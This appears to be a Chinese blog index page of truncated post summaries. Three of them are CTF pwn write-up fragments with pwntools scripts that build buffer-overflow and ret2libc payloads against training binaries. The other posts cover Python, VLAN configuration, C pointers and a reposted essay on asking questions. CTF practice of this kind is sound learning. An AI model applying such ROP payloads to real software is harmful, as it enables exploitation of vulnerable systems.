摘要: xctf pwn level3 #-*-coding:utf-8-*- from pwn import * p = process('./level3') #p = remote("111.198.29.45","36722") elf = ELF('./level3') libc = ELF('/ 阅读全文
posted @ 2019-11-21 15:09 夏了茶糜 阅读(335) 评论(0) 推荐(0)
摘要: #put函数调用 #函数名 + 返回地址 + 函数参数 payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) #write函数调用 #函数名 + 返回地址 + 函数参数1 + 需要输出的内容 + 输出的字节长度 payloa 阅读全文
posted @ 2019-11-21 15:09 夏了茶糜 阅读(355) 评论(0) 推荐(0)
摘要: 方法1(使用LibcSearcher): from pwn import * from LibcSearcher import LibcSearcher sh = process('./ret2libc3') ret2libc3 = ELF('./ret2libc3') puts_plt = ret 阅读全文
posted @ 2019-11-21 15:09 夏了茶糜 阅读(649) 评论(0) 推荐(0)
摘要: Python重新加载模块 from imp import reload reload(模块名)#重新载入模块,前提是模块已经导入 Python socket实现简单web服务器 import socket def service_client(new_socket): try: request = 阅读全文
posted @ 2019-08-13 21:38 夏了茶糜 阅读(99) 评论(0) 推荐(0)
摘要: 两个不同网段的计算机与三层交换机直连,通过SVI实现VLAN间通信vlan 1 //几个不同网段就创建几个VLANvlan 2 int f0/1 //划分VLANswitchport mode accessswitchport access vlan 1 int f0/2 //划分VLANswitc 阅读全文
posted @ 2019-04-21 23:10 夏了茶糜 阅读(1085) 评论(0) 推荐(0)
摘要: [转贴]提问的智慧Copyright (C) 2001 by Eric S. Raymond 中文版Copyleft 2001 by DHGrand(nOBODY/Ginux) 繁体版:http://phorum.vbird.org/viewtopic.php?t=96英文版:http://www. 阅读全文
posted @ 2018-10-16 07:32 夏了茶糜 阅读(105) 评论(0) 推荐(0)
摘要: 指针是什么? 一个 变量的地址称为该变量的"指针"【将地址形象化的称为“指针”】。(指针是什么百度百科) 注意区分储存单元的地址和内容这两个概念的区别。 直接访问:直接按变量名进行访问,直接通过变量名访问变量内容 间接访问:将变量a的地址存放到另一个变量b中,然后通过变量b找到变量a的地址,从而访问 阅读全文
posted @ 2018-10-14 18:18 夏了茶糜 阅读(283) 评论(0) 推荐(0)
摘要: 1.首先在python程序的文件夹内,新建一个文本文档,名字自定义,在文档中输入需要安装的第三方库,并用英文半角逗号隔开。 import os def getTxt(): txt = open("1.txt","r").read()#读取需要安装的第三方库 return txt kusTxt=get 阅读全文
posted @ 2018-09-11 17:41 夏了茶糜 阅读(2301) 评论(0) 推荐(0)